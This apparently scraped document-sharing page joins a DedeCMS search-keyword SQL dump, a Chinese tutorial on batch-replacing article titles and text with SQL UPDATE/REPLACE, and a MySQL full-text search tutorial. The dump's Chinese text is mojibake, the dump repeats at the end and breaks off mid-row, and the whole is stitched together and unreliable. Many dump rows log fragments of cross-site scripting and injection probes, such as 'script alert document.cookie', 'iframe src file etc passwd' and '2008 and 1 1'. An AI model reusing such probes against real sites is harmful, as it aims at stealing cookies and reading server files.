VALUES('1','ħÊÞÊÀ½ç˽·þ','ħÊÞÊÀ½ç˽·þ','2','74','1262517130','0','0');INSERT INTO `dede_search_keywords` VALUES('2','Éñ°É','Éñ°É','2','1','1273733987','0','0');INSERT INTO `dede_search_keywords` VALUES('3','Éñ°ÉħÊÞ','Éñ °É ħÊÞ','1','1','1254394759','0','0');INSERT INTO `dede_search_keywords` VALUES('4','¾º¼¼³¡Ä§ÊÞ˽·þ','¾º¼¼³¡ ħÊÞ Ë½·þ','2','0','1254582497','0','0');INSERT INTO `dede_search_keywords` VALUES('5','WOWÖÐÄĸöÉÌÒµ¼¼ÄÜÄĸö¸ü׬Ǯ','WOW ÖÐ Äĸö ÉÌÒµ ¼¼ÄÜ Äĸö ¸ü ׬Ǯ','2','2','1257736666','0','0');INSERT INTO `dede_search_keywords` VALUES('6','pvp','pvp','1','2','1255776320','0','0');INSERT INTO `dede_search_keywords` VALUES('7','ÍòÊ¥½ÚͼƬ','ÍòÊ¥½Ú ͼƬ','1','0','1256006737','0','0');INSERT INTO `dede_search_keywords` VALUES('8','ÑþÑþ','ÑþÑþ','1','0','1256464537','0','0');INSERT INTO `dede_search_keywords` VALUES('9','Elly Tran Ha','Elly Tran Ha','3','0','1274195923','0','0');INSERT INTO `dede_search_keywords` VALUES('10','sfÌåÑé·þ','sf ÌåÑé ·þ','1','0','1257338412','0','0');INSERT INTO `dede_search_keywords` VALUES('11','Ô½ÄÏæ¤','Ô½ÄÏæ¤','10','4','1275158225','0','0'); INSERT INTO `dede_search_keywords` VALUES('12','×°±¸','×°±¸','1','4','1257670923','0','0');INSERT INTO `dede_search_keywords` VALUES('13','WOWËùÓеÄÉÌÒµ¼¼ÄÜÄĸö¸ü׬Ǯ','WOW ËùÓÐ µÄ ÉÌÒµ ¼¼ÄÜ Äĸö ¸ü ׬Ǯ','2','2','1259041741','0','0');INSERT INTO `dede_search_keywords` VALUES('14','µÇ½Æ÷','µÇ½Æ÷','5','0','1273923625','0','0'); INSERT INTO `dede_search_keywords` VALUES('15','Ò£Ò£','Ò£Ò£','1','0','1259047011','0','0');INSERT INTO `dede_search_keywords` VALUES('16','ÖйúÒ£Ò£','ÖÐ ¹ú Ò£Ò£','1','0','1259047020','0','0');INSERT INTO `dede_search_keywords` VALUES('17','ÄæÁ÷','ÄæÁ÷','1','1','1260088014','0','0');INSERT INTO `dede_search_keywords` VALUES('21','meirei','meirei','1','0','1261857631','0','0'); INSERT INTO `dede_search_keywords` VALUES('22','ÃÀÈË','ÃÀÈË','2','0','1261857705','0','0');INSERT INTO `dede_search_keywords` VALUES('23','“u“u','“u“u','1','0','1262438081','0','0');VALUES('24','ÍÃ×ÓÍõ','ÍÃ×ÓÍõ','1','0','1262494259','0','0');INSERT INTO `dede_search_keywords` VALUES('25','ħÊÞÊÀ½ç˽·þ×ÜÕ¾ È«¹ú×î´óµÄħ','ħÊÞÊÀ½ç ˽·þ ×ÜÕ¾ È«¹ú ×î´ó µÄ ħ','2','276','1270270754','0','0');INSERT INTO `dede_search_keywords` VALUES('26','ÐǶ·','ÐǶ·','1','0','1262690869','0','0');INSERT INTO `dede_search_keywords` VALUES('27','Ô½ÄÏæ¤Elly','Ô½ÄÏæ¤ Elly','6','2','1275309509','0','0');INSERT INTO `dede_search_keywords` VALUES('28','¾üÊ¿µÄÇ¿¹Ì¶·Åñ','¾ü Ê¿ µÄ Ç¿¹Ì¶· Åñ','1','0','1262795171','0','0');INSERT INTO `dede_search_keywords` VALUES('29','Ë-˵ÓÎÏ·ÖÐÎÞÃÀÅ®£¿','Ë- ˵ ÓÎÏ· ÖÐ ÎÞ ÃÀÅ® £¿','1','3','1262868721','0','0');INSERT INTO `dede_search_keywords` VALUES('30',' iframe src http www.google.','iframe src http www.google.','8','0','1264192306','0','0');INSERT INTO `dede_search_keywords` VALUES('31',' IMG SRC','IMG SRC','5','0','1264192419','0','0');INSERT INTO `dede_search_keywords` VALUES('32','keyword IMG SRC #106 #97 #','keyword IMG SRC #106 #97 #','2','0','1263126610','0','0');INSERT INTO `dede_search_keywords` VALUES('33','keyword IMG SRC javascript al','keyword IMG SRC javascript al','1','0','1263126924','0','0');INSERT INTO `dede_search_keywords` VALUES('34',' IMG SRC javascript alert \\\\ A','IMG SRC javascript alert \\ \\ An','1','0','1263126951','0','0');INSERT INTO `dede_search_keywords` VALUES('35',' IMG SRC #106 #97 #118 #97','IMG SRC #106 #97 #118 #97','10','0','1263187378','0','0');INSERT INTO `dede_search_keywords` VALUES('36',' IMG SRC javascript alert any','IMG SRC javascript alert any','17','0','1264192446','0','0');INSERT INTO `dede_search_keywords` VALUES('37',' IMG SRC anysize','IMG SRC anysize','1','0','1263127336','0','0');INSERT INTO `dede_search_keywords` VALUES('38',' IMG SRC javascript alert anys','IMG SRC javascript alert anys','2','0','1263127533','0','0');INSERT INTO `dede_search_keywords` VALUES('39',' IMG SRC #106 #97 #118 #9','IMG SRC #106 #97 #118 #9','1','0','1263127711','0','0'); INSERT INTO `dede_search_keywords` VALUES('40',' IMG SRC','IMG SRC','1','0','1263127736','0','0');INSERT INTO `dede_search_keywords` VALUES('41',' iframe IMG SRCjavascript al','iframe IMG SRC javascriptal','1','1','1263127881','0','0');INSERT INTO `dede_search_keywords` VALUES('42',' float expressionalert xss','float expression alertxss','3','0','1263128097','0','0');INSERT INTO `dede_search_keywords` VALUES('43',' BODY ONLOAD a SCRIPT','BODY ONLOAD a SCRIPT','1','62','1263128137','0','0');INSERT INTO `dede_search_keywords` VALUES('44','hi or a a code','hi or a a code','1','0','1263128158','0','0');INSERT INTO `dede_search_keywords` VALUES('45','anysize','anysize','2','0','1263187458','0','0');INSERT INTO `dede_search_keywords` VALUES('46','2008','2008','21','0','1263129143','0','0');INSERT INTO `dede_search_keywords` VALUES('47','2008 and 1 1','2008and 1 1','2','8','1263128283','0','0');INSERT INTO `dede_search_keywords` VALUES('48','2008 and 1 1','2008and 1 1','2','8','1263128283','0','0');INSERT INTO `dede_search_keywords` VALUES('49','2008 and 1 1','2008and 1 1','2','8','1263128283','0','0');INSERT INTO `dede_search_keywords` VALUES('50',' IMG SRC javascriptalert XSS','IMG SRC javascript alertXSS','4','0','1263129019','0','0');INSERT INTO `dede_search_keywords` VALUES('51','2008 ScRiPt alert hello','2008 ScRiPt alert hello','1','0','1263129143','0','0');INSERT INTO `dede_search_keywords` VALUES('52','v iframe src http www.google','v iframe src http www.google','1','0','1263131350','0','0');INSERT INTO `dede_search_keywords` VALUES('53',' img src java script alert','img src java scriptalert','1','0','1263131407','0','0');INSERT INTO `dede_search_keywords` VALUES('54',' img src # onerroralert An','img src # onerror alertAn','2','0','1263131434','0','0');INSERT INTO `dede_search_keywords` VALUES('55',' img src \\\\','imgsrc \\ \\','1','0','1263131428','0','0');INSERT INTO `dede_search_keywords` VALUES('56',' script alert document.cooki','script alert document.cooki','2','0','1263187088','0','0');INSERT INTO `dede_search_keywords` VALUES('57',' script alert document.cook','script alert document.cook','1','0','1263131500','0','0');INSERT INTO `dede_search_keywords` VALUES('58',' 3Cscript 3Ealert Anysize 3','3Cscript 3Ealert Anysize3','1','0','1263131526','0','0');INSERT INTO `dede_search_keywords` VALUES('59',' s #99 ript alert Anysize','s #99 ript alert Anysize','1','0','1263131534','0','0'); INSERT INTO `dede_search_keywords` VALUES('60',' img src javas #99 ript alert','img src javas #99 ript alert','3','0','1263141400','0','0');INSERT INTO `dede_search_keywords` VALUES('61',' IMG SRC javascript alert An','IMG SRC javascript alert An','7','0','1264192429','0','0');INSERT INTO `dede_search_keywords` VALUES('62',' IMG SRC JaVaScRiPt alert quo','IMG SRC JaVaScRiPt alert quo','1','0','1263131619','0','0');INSERT INTO `dede_search_keywords` VALUES('63',' IMG SRC jav #x09 ascript ale','IMG SRC jav #x09 ascript ale','5','0','1263187133','0','0');INSERT INTO `dede_search_keywords` VALUES('64',' IMG SRC jav #x0A ascript ale','IMG SRC jav #x0A ascript ale','3','0','1263187140','0','0');INSERT INTO `dede_search_keywords` VALUES('65',' IMG SRC jav #x0D ascript ale','IMG SRC jav #x0D ascript ale','3','0','1263187146','0','0');INSERT INTO `dede_search_keywords` VALUES('66',' IMG SRC java\\\\0script alert','IMG SRC java \\ \\ 0script alert \\ \\','1','0','1263131687','0','0');INSERT INTO `dede_search_keywords` VALUES('67',' IMG SRC javascript alert A','IMG SRC javascript alert A','4','0','1263187797','0','0'); INSERT INTO `dede_search_keywords` VALUES('68',' SCRIPT a Anysize alert a.sou','SCRIPT a Anysize alert a.sou','2','0','1263141365','0','0');INSERT INTO `dede_search_keywords` VALUES('69',' IMG DYNSRC javascript alert','IMG DYNSRC javascript alert','3','0','1263187199','0','0');INSERT INTO `dede_search_keywords` VALUES('70',' IMG LOWSRC javascript alert','IMG LOWSRC javascript alert','2','0','1263141213','0','0');INSERT INTO `dede_search_keywords` VALUES('71',' BGSOUND SRC javascript alert','BGSOUND SRC javascript alert','2','0','1263187209','0','0');INSERT INTO `dede_search_keywords` VALUES('72',' IMG SRC vbscript msgbox Any','IMG SRC vbscript msgbox Any','1','0','1263131744','0','0');INSERT INTO `dede_search_keywords` VALUES('73',' BODY BACKGROUND javascript a','BODY BACKGROUND javascript a','3','0','1263187179','0','0');INSERT INTO `dede_search_keywords` VALUES('74',' IMG SRC javascriptalert Stri','IMG SRC javascript alert Stri','1','0','1263141321','0','0');INSERT INTO `dede_search_keywords` VALUES('75',' IMG SRC jav ascript alert A','IMG SRC jav ascript alert A','1','0','1263141339','0','0');INSERT INTO `dede_search_keywords` VALUES('76',' IMG SRC java\\\\0script alert','IMG SRC java \\ \\ 0script alert \\ \\','1','0','1263141436','0','0');INSERT INTO `dede_search_keywords` VALUES('77',' IMG SRC java\\\\0script alert','IMG SRC java \\ \\ 0script alert \\ \\','1','0','1263141442','0','0');INSERT INTO `dede_search_keywords` VALUES('78',' IMG SRC #x6A #x61 #x76 #x61','IMG SRC #x6A #x61 #x76 #x61','1','0','1263141485','0','0');INSERT INTO `dede_search_keywords` VALUES('79',' IMG SRC java\\\\0script alert','IMG SRC java \\ \\ 0script alert \\ \\','1','0','1263187152','0','0');INSERT INTO `dede_search_keywords` VALUES('80',' BODY ONLOAD alert Anysize','BODY ONLOAD alert Anysize','1','0','1263187190','0','0'); INSERT INTO `dede_search_keywords` VALUES('81',' br size alert Anysize','br size alert Anysize','2','0','1263187221','0','0'); INSERT INTO `dede_search_keywords` VALUES('82',' LINK REL stylesheet HREF j','LINK REL stylesheet HREF j','1','0','1263187229','0','0'); INSERT INTO `dede_search_keywords` VALUES('83',' IFRAME SRC javascript alert','IFRAME SRC javascript alert','1','0','1263187239','0','0'); INSERT INTO `dede_search_keywords` VALUES('84',' FRAMESET FRAME SRC javascrip','FRAMESET FRAME SRC javascrip','1','0','1263187257','0','0');INSERT INTO `dede_search_keywords` VALUES('85','Ì«Ñô¾®µÄ´«Ëµ¹ÊÊÂ','Ì«Ñô ¾® µÄ ´«Ëµ ¹ÊÊÂ','2','113','1263250043','0','0');INSERT INTO `dede_search_keywords` VALUES('86','»ù¶û¼Óµ¤µÄ¹ÊÊÂ','»ù ¶û ¼Óµ¤ µÄ ¹ÊÊÂ','2','112','1263250117','0','0');INSERT INTO `dede_search_keywords` VALUES('87','ÈçºÎÈõ°»¨³öЧ¹û','ÈçºÎ Èà µ° »¨³ö Ч¹û','1','0','1263259214','0','0');INSERT INTO `dede_search_keywords` VALUES('88','½±Õ÷ÎĻ','½± Õ÷ÎÄ »î¶¯','1','0','1263271008','0','0');INSERT INTO `dede_search_keywords` VALUES('89','°Ù¶ÈKÕ¾','°Ù¶ÈKÕ¾','1','0','1263552972','0','0'); INSERT INTO `dede_search_keywords` VALUES('90','Ô½ÄÏÃÃElly','Ô½ÄÏÃà Elly','3','2','1269834804','0','0');INSERT INTO `dede_search_keywords` VALUES('91','ÃÀÅ®','ÃÀÅ®','1','3','1264070401','0','0');INSERT INTO `dede_search_keywords` VALUES('92','ÖйúÃÀÅ®','ÖÐ ¹úÃÀÅ®','1','0','1264070537','0','0');INSERT INTO `dede_search_keywords` VALUES('93','ºìÌÒħÊÞ','ºì ÌÒħÊÞ','1','0','1264177400','0','0');INSERT INTO `dede_search_keywords` VALUES('94',' IMG src javascript window.na','IMG src javascript window.na','1','0','1264192326','0','0');INSERT INTO `dede_search_keywords` VALUES('95',' iframe src file etc passwd','iframe src file etc passwd','1','0','1264192342','0','0');INSERT INTO `dede_search_keywords` VALUES('96',' iframe src file file c','iframe src file file c','1','0','1264192361','0','0'); INSERT INTO `dede_search_keywords` VALUES('97',' iframe src file c windows','iframe src file c windows','4','0','1264192409','0','0'); INSERT INTO `dede_search_keywords` VALUES('98',' script alert document.cookie','script alert document.cookie','1','0','1264192469','0','0');INSERT INTO `dede_search_keywords` VALUES('99',' img src c\\\\windows\\\\system.i','img src c \\ \\ windows \\ \\ system.ini','1','0','1264192501','0','0');INSERT INTO `dede_search_keywords` VALUES('100',' img src c\\\\windows\\\\system.i','img src c \\ \\ windows \\ \\ system.ini','1','0','1264192509','0','0');INSERT INTO `dede_search_keywords` VALUES('101',' img src c\\\\windows\\\\system.i','img src c \\ \\ windows \\ \\ system.ini','1','0','1264192514','0','0');INSERT INTO `dede_search_keywords` VALUES('102',' img src c windows system.ini','img src c windows system.ini','1','0','1264192522','0','0');INSERT INTO `dede_search_keywords` VALUES('103',' img url c windows system.ini','img url c windows system.ini','1','0','1264192620','0','0');INSERT INTO `dede_search_keywords` VALUES('104',' img url file c windows sy','img url file c windows sy','1','0','1264192632','0','0'); INSERT INTO `dede_search_keywords` VALUES('105',' img url file c windows s','img url file c windows s','1','0','1264192638','0','0'); INSERT INTO `dede_search_keywords` VALUES('106',' a href javascript','a href javascript','1','0','1264193397','0','0');INSERT INTO `dede_search_keywords` VALUES('107',' a href javascript','a href javascript','1','0','1264193404','0','0');INSERT INTO `dede_search_keywords` VALUES('108',' a href javascript code','a href javascript code','1','0','1264193410','0','0');INSERT INTO `dede_search_keywords` VALUES('109',' ahref javascript code','ahref javascript code','1','0','1264193415','0','0');INSERT INTO `dede_search_keywords` VALUES('110',' div onmouseover code','div onmouseover code','1','0','1264193426','0','0');INSERT INTO `dede_search_keywords` VALUES('111',' div onmouseover code','div onmouseover code','1','0','1264193431','0','0');INSERT INTO `dede_search_keywords` VALUES('112',' script javascript alert code','script javascript alert code','1','0','1264193517','0','0');INSERT INTO `dede_search_keywords` VALUES('113',' script alert code script','script alert code script','1','0','1264193522','0','0'); INSERT INTO `dede_search_keywords` VALUES('114','aaaaaaaaaaaaaaa script alert c','aaaaaaaaaaaaaaa script alert c','1','0','1264193529','0','0');INSERT INTO `dede_search_keywords` VALUES('115',' \\\\xC0 \\\\xBC script code \\\\','\\ \\ xC0 \\ \\ xBC script code \\ \\ xC0','1','0','1264193558','0','0');INSERT INTO `dede_search_keywords` VALUES('116','The src parameter in the IM','The src parameter in the IM','2','0','1264195632','0','0');INSERT INTO `dede_search_keywords` VALUES('117',' isindex type image src 1 oner','isindex type image src 1 oner','1','0','1264195634','0','0');INSERT INTO `dede_search_keywords` VALUES('118',' input type image src 1 onerro','input type image src 1 onerro','1','0','1264195787','0','0');INSERT INTO `dede_search_keywords` VALUES('119',' textarea type image src 1 one','textarea type image src 1 one','1','0','1264195805','0','0');INSERT INTO `dede_search_keywords` VALUES('120',' select type image src 1 onerr','select type image src 1 onerr','1','0','1264195848','0','0');INSERT INTO `dede_search_keywords` VALUES('121',' img type image src 1 onerror','img type image src 1 onerror','1','0','1264195891','0','0');INSERT INTO `dede_search_keywords` VALUES('122','ħÊÞµçÓ°','ħÊÞ µçÓ°','1','1','1264478342','0','0');INSERT INTO `dede_search_keywords` VALUES('123','ħÊÞÊÀ½çÊÎÆ·´óPK£º´¥·¢ÐÔVSÊÖ¶¯','ħÊÞÊÀ½ç ÊÎÆ· ´ó PK £º ´¥·¢ ÐÔ VS ÊÖ¶¯','1','1','1264597378','0','0');INSERT INTO `dede_search_keywords` VALUES('124','ħÊÞÊÀ½çÊÎÆ·´óPK','ħÊÞÊÀ½ç ÊÎÆ· ´ó PK','1','2','1264597393','0','0');INSERT INTO `dede_search_keywords` VALUES('125','','','4','0','1264653996','0','0');INSERT INTO `dede_search_keywords` VALUES('126','luoti zhao','luoti zhao','3','0','1264825761','0','0');INSERT INTO `dede_search_keywords` VALUES('127','','','1','0','1264825816','0','0');INSERT INTO `dede_search_keywords` VALUES('128','×ÔÎÀ','×ÔÎÀ','1','0','1265262965','0','0');INSERT INTO `dede_search_keywords` VALUES('129','Elly','Elly','7','2','1274554178','0','0');INSERT INTO `dede_search_keywords` VALUES('130','Ò»¿éÓÐÎå°ÙÍòÕÅ×ìµÈ´ý×ŵľ޴óµ°','Ò»¿é ÓÐ Îå°ÙÍò ÕÅ×ì µÈ´ý ×Å µÄ ¾Þ´ó µ°','1','1','1265696679','0','0');INSERT INTO `dede_search_keywords` VALUES('131','eiiytranhaµÄĸÇ×ÕÕƬ','eiiytranha µÄ ĸÇ× ÕÕƬ','2','0','1265926932','0','0');INSERT INTO `dede_search_keywords` VALUES('132','ÌìÍø','ÌìÍø','1','221','1266847920','0','0');INSERT INTO `dede_search_keywords` VALUES('133','','','2','0','1266936304','0','0 ');INSERT INTO `dede_search_keywords` VALUES('134','³µÄ£','³µÄ£','1','2','1266936327','0','0');INSERT INTO `dede_search_keywords` VALUES('135','ÊÞÊÞ×ÔÅÄ','ÊÞÊÞ ×ÔÅÄ','1','0','1266939457','0','0');INSERT INTO `dede_search_keywords` VALUES('136','3.132','3.132','2','0','1267588171','0','0');INSERT INTO `dede_search_keywords` VALUES('137','pui23888','pui23888','3','0','1267896557','0','0'); INSERT INTO `dede_search_keywords` VALUES('138','ÎÒ½ÐMT˽·þ','ÎÒ ½Ð MT ˽·þ','2','96','1268037136','0','0');INSERT INTO `dede_search_keywords` VALUES('139','ÎÒ½ÐMTħÊÞÊÀ½ç˽·þ˽·þ','ÎÒ ½Ð MT ħÊÞÊÀ½ç ˽·þ˽·þ','1','0','1268037133','0','0');INSERT INTO `dede_search_keywords` VALUES('140','ÎÒ½ÐMTħÊÞÊÀ½ç˽·þ','ÎÒ ½Ð MT ħÊÞÊÀ½ç ˽·þ','2','150','1268456181','0','0');INSERT INTO `dede_search_keywords` VALUES('141','ħÊÞSF','ħÊÞSF','1','0','1268389416','0','0'); INSERT INTO `dede_search_keywords` VALUES('142','˽·þµÇ¼Æ÷','˽·þ µÇ¼ Æ÷','2','95','1270270781','0','0');INSERT INTO `dede_search_keywords` VALUES('143','ÒÁÀûµ¤¡¤Å-·çÓëÌ©À¼µÂ¡¤Óï·çµÄ¹Ê','ÒÁÀû µ¤ ¡¤ Å- ·ç Óë Ì© À¼µÂ ¡¤ Óï ·ç µÄ ¹Ê','2','3','1275943660','0','0');INSERT INTO `dede_search_keywords` VALUES('144','ÊÞÊÞÃÅħàÕ','ÊÞÊÞ ÃŠħ àÕ','1','0','1268789059','0','0');。
织梦dede批量替换文章标题、正文内容关键词方法
织梦dede批量替换⽂章标题、正⽂内容关键词⽅法织梦dede批量替换⽂章标题、正⽂内容关键词⽅法介绍相信对于很多织梦dedecms站长来说,应该经常遇到采集⽂章或者复制别⼈⽂章,需要批量修改⽂章标题、关键词、正⽂、作者、来源、⽇期等等相关信息。
因为⽂章标题或者⽂章内容变动是常有的事,如果⼿⼯改动的话,肯定会让⼈吐⾎,那么有什么办法可以批量替换相关内容呢?下⾯,⽩起SEO就给⼤家分享两种⽅法。
织梦dedecms批量替换⽂章标题或⽂章正⽂内容两种详细⽅法:第⼀种⽅法:织梦cms站点后台操作更改(强烈推荐)步骤:1、织梦cms后台——核⼼——批量维护——数据库内容替换2、如果你需要批量替换⽂章标题,选择dede_archives数据库表,字段选择title字段,选择普通替换。
例如:被替换的内容:织梦cms批量替换⽂章标题和内容⽅法集绵,替换为:dedecms批量替换⽂章标题和内容⽅法,输⼊安全确认码,开始替换数据,最后更新⽣成以下就ok。
3、如果你需要替换⽂章摘要内的某⼀个关键词,例如想把“dedecms”替换为“织梦cms”,可以选择dede_archives数据表,选择description字段,填写需要被替换的内容:dedecms,替换为:织梦cms,输⼊安全确认码,开始替换数据,最后更新⽣成以下就ok。
4、如果你需要替换⽂章正⽂某些关键词,例如想把"织梦SEO博客"替换为"织梦SEO",可以选择dede_addonarticle数据表,选择body字段,填写需要被替换的内容:织梦SEO博客,替换为:织梦SEO,输⼊安全确认码,开始替换数据,最后更新⽣成⼀下就ok。
这种⽅法直接在织梦cms站点后台操作,⽐较直观,更容易操作。
第⼆种⽅法:利⽤SQL命令批量替换修改⽂章标题或正⽂关键词【这种⽅法建议对mysql数据库操作⽐较熟练的朋友使⽤】步骤:进⼊⽹站的数据库后台,选择需要修改的数据库1、需要替换相关⽂章标题mysql命令:update dede_archives set title=replace(title,'原来的关键字','替换后的关键字');例如:我想把"织梦cms批量替换⽂章标题和内容⽅法集绵"中的“织梦cms” 替换成“dedecms”就可以写mysql修改命令:updatedede_archives set title=replace(title,'织梦cms','dedecsm');2、需要修改⽂章摘要的某个关键词mysql修改命令:update dede_archives set description=replace(description,'原来的关键词','替换后的关键词');3、需要替换⽂章正⽂内的某个关键词mysql修改命令:update dede_addonarticle set body=replace(body,'原来的关键词','替换后的关键词');4、更改缩略图⽬录mysql修改命令:update dede_archives set litpic=replace(litpic,’原来的缩略图’,'替换后的缩略图’)。
mysql全文索引用法
MySQL全文搜索是一种在MySQL数据库中查找文本数据的方法,它支持在MySQL表中搜索文本字段的内容。
全文搜索可以帮助你在文本字段中查找特定的单词或短语,并返回匹配的行。
以下是MySQL全文搜索的基本用法:1. 创建全文索引:首先,你需要在需要进行全文搜索的文本字段上创建一个全文索引。
你可以使用`ALTER TABLE`语句或`CREATE FULLTEXT INDEX`语句来创建全文索引。
例如:```sqlALTER TABLE your_table ADD FULLTEXT(text_column);```2. 使用MATCH()和AGAINST()函数:一旦你创建了全文索引,你可以使用`MATCH()`函数和`AGAINST()`函数来执行全文搜索。
`MATCH()`函数用于指定要搜索的字段,而`AGAINST()`函数用于指定要搜索的关键词。
例如:```sqlSELECT * FROM your_table WHERE MATCH(text_column) AGAINST('search_keyword');```在上面的例子中,`text_column`是你要搜索的字段,`search_keyword`是你要搜索的关键词。
3. 使用查询模式:`AGAINST()`函数支持多种查询模式,包括布尔模式、自然语言模式和查询扩展模式。
布尔模式允许你使用加号(+)、减号(-)和通配符(*)来指定搜索关键词的权重和匹配方式。
例如:```sqlSELECT * FROM your_table WHERE MATCH(text_column) AGAINST('+search_keyword1 -search_keyword2' IN BOOLEAN MODE);```在上面的例子中,`+search_keyword1`表示关键词"search_keyword1"必须出现在结果中,而`-search_keyword2`表示关键词"search_keyword2"不应出现在结果中。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
VALUES('1','ħÊÞÊÀ½ç˽·þ','ħÊÞÊÀ½ç˽·þ','2','74','1262517130','0','0');INSERT INTO `dede_search_keywords` VALUES('2','Éñ°É','Éñ°É','2','1','1273733987','0','0');INSERT INTO `dede_search_keywords` VALUES('3','Éñ°ÉħÊÞ','Éñ °É ħÊÞ','1','1','1254394759','0','0');INSERT INTO `dede_search_keywords` VALUES('4','¾º¼¼³¡Ä§ÊÞ˽·þ','¾º¼¼³¡ ħÊÞ Ë½·þ','2','0','1254582497','0','0');INSERT INTO `dede_search_keywords` VALUES('5','WOWÖÐÄĸöÉÌÒµ¼¼ÄÜÄĸö¸ü׬Ǯ','WOW ÖÐ Äĸö ÉÌÒµ ¼¼ÄÜ Äĸö ¸ü ׬Ǯ','2','2','1257736666','0','0');INSERT INTO `dede_search_keywords` VALUES('6','pvp','pvp','1','2','1255776320','0','0');INSERT INTO `dede_search_keywords` VALUES('7','ÍòÊ¥½ÚͼƬ','ÍòÊ¥½Ú ͼƬ','1','0','1256006737','0','0');INSERT INTO `dede_search_keywords` VALUES('8','ÑþÑþ','ÑþÑþ','1','0','1256464537','0','0');INSERT INTO `dede_search_keywords` VALUES('9','Elly Tran Ha','Elly Tran Ha','3','0','1274195923','0','0');INSERT INTO `dede_search_keywords` VALUES('10','sfÌåÑé·þ','sf ÌåÑé ·þ','1','0','1257338412','0','0');INSERT INTO `dede_search_keywords` VALUES('11','Ô½ÄÏæ¤','Ô½ÄÏæ¤','10','4','1275158225','0','0'); INSERT INTO `dede_search_keywords` VALUES('12','×°±¸','×°±¸','1','4','1257670923','0','0');INSERT INTO `dede_search_keywords` VALUES('13','WOWËùÓеÄÉÌÒµ¼¼ÄÜÄĸö¸ü׬Ǯ','WOW ËùÓÐ µÄ ÉÌÒµ ¼¼ÄÜ Äĸö ¸ü ׬Ǯ','2','2','1259041741','0','0');INSERT INTO `dede_search_keywords` VALUES('14','µÇ½Æ÷','µÇ½Æ÷','5','0','1273923625','0','0');INSERT INTO `dede_search_keywords` VALUES('15','Ò£Ò£','Ò£Ò£','1','0','1259047011','0','0');INSERT INTO `dede_search_keywords` VALUES('16','ÖйúÒ£Ò£','ÖÐ ¹ú Ò£Ò£','1','0','1259047020','0','0');INSERT INTO `dede_search_keywords` VALUES('17','ÄæÁ÷','ÄæÁ÷','1','1','1260088014','0','0');INSERT INTO `dede_search_keywords` VALUES('21','meirei','meirei','1','0','1261857631','0','0');INSERT INTO `dede_search_keywords` VALUES('22','ÃÀÈË','ÃÀÈË','2','0','1261857705','0','0');INSERT INTO `dede_search_keywords` VALUES('23','“u“u','“u“u','1','0','1262438081','0','0');VALUES('24','ÍÃ×ÓÍõ','ÍÃ×ÓÍõ','1','0','1262494259','0','0');INSERT INTO `dede_search_keywords` VALUES('25','ħÊÞÊÀ½ç˽·þ×ÜÕ¾ È«¹ú×î´óµÄħ','ħÊÞÊÀ½ç ˽·þ ×ÜÕ¾ È«¹ú ×î´ó µÄ ħ','2','276','1270270754','0','0');INSERT INTO `dede_search_keywords` VALUES('26','ÐǶ·','ÐǶ·','1','0','1262690869','0','0');INSERT INTO `dede_search_keywords` VALUES('27','Ô½ÄÏæ¤Elly','Ô½ÄÏæ¤ Elly','6','2','1275309509','0','0');INSERT INTO `dede_search_keywords` VALUES('28','¾üÊ¿µÄÇ¿¹Ì¶·Åñ','¾ü Ê¿ µÄ Ç¿¹Ì¶· Åñ','1','0','1262795171','0','0');INSERT INTO `dede_search_keywords` VALUES('29','Ë-˵ÓÎÏ·ÖÐÎÞÃÀÅ®£¿','Ë- ˵ ÓÎÏ· ÖÐ ÎÞ ÃÀÅ® £¿','1','3','1262868721','0','0');INSERT INTO `dede_search_keywords` VALUES('30',' iframe src http www.google.','iframe src http www.google.','8','0','1264192306','0','0');INSERT INTO `dede_search_keywords` VALUES('31',' IMG SRC','IMG SRC','5','0','1264192419','0','0');INSERT INTO `dede_search_keywords` VALUES('32','keyword IMG SRC #106 #97 #','keyword IMG SRC #106 #97 #','2','0','1263126610','0','0');INSERT INTO `dede_search_keywords` VALUES('33','keyword IMG SRC javascript al','keyword IMG SRC javascript al','1','0','1263126924','0','0');INSERT INTO `dede_search_keywords` VALUES('34',' IMG SRC javascript alert \\\\ A','IMG SRC javascript alert \\ \\ An','1','0','1263126951','0','0');INSERT INTO `dede_search_keywords` VALUES('35',' IMG SRC #106 #97 #118 #97','IMG SRC #106 #97 #118 #97','10','0','1263187378','0','0');INSERT INTO `dede_search_keywords` VALUES('36',' IMG SRC javascript alert any','IMG SRC javascript alert any','17','0','1264192446','0','0');INSERT INTO `dede_search_keywords` VALUES('37',' IMG SRC anysize','IMG SRC anysize','1','0','1263127336','0','0');INSERT INTO `dede_search_keywords` VALUES('38',' IMG SRC javascript alert anys','IMG SRC javascript alert anys','2','0','1263127533','0','0');INSERT INTO `dede_search_keywords` VALUES('39',' IMG SRC #106 #97 #118 #9','IMG SRC #106 #97 #118 #9','1','0','1263127711','0','0'); INSERT INTO `dede_search_keywords` VALUES('40',' IMG SRC','IMG SRC','1','0','1263127736','0','0');INSERT INTO `dede_search_keywords` VALUES('41',' iframe IMG SRCjavascript al','iframe IMG SRC javascriptal','1','1','1263127881','0','0');INSERT INTO `dede_search_keywords` VALUES('42',' float expressionalert xss','float expression alertxss','3','0','1263128097','0','0');INSERT INTO `dede_search_keywords` VALUES('43',' BODY ONLOAD a SCRIPT','BODY ONLOAD a SCRIPT','1','62','1263128137','0','0');INSERT INTO `dede_search_keywords` VALUES('44','hi or a a code','hi or a a code','1','0','1263128158','0','0');INSERT INTO `dede_search_keywords` VALUES('45','anysize','anysize','2','0','1263187458','0','0');INSERT INTO `dede_search_keywords` VALUES('46','2008','2008','21','0','1263129143','0','0');INSERT INTO `dede_search_keywords` VALUES('47','2008 and 1 1','2008and 1 1','2','8','1263128283','0','0');INSERT INTO `dede_search_keywords` VALUES('48','2008 and 1 1','2008and 1 1','2','8','1263128283','0','0');INSERT INTO `dede_search_keywords` VALUES('49','2008 and 1 1','2008and 1 1','2','8','1263128283','0','0');INSERT INTO `dede_search_keywords` VALUES('50',' IMG SRC javascriptalert XSS','IMG SRC javascript alertXSS','4','0','1263129019','0','0');INSERT INTO `dede_search_keywords` VALUES('51','2008 ScRiPt alert hello','2008 ScRiPt alert hello','1','0','1263129143','0','0');INSERT INTO `dede_search_keywords` VALUES('52','v iframe src http www.google','v iframe src http www.google','1','0','1263131350','0','0');INSERT INTO `dede_search_keywords` VALUES('53',' img src java script alert','img src java scriptalert','1','0','1263131407','0','0');INSERT INTO `dede_search_keywords` VALUES('54',' img src # onerroralert An','img src # onerror 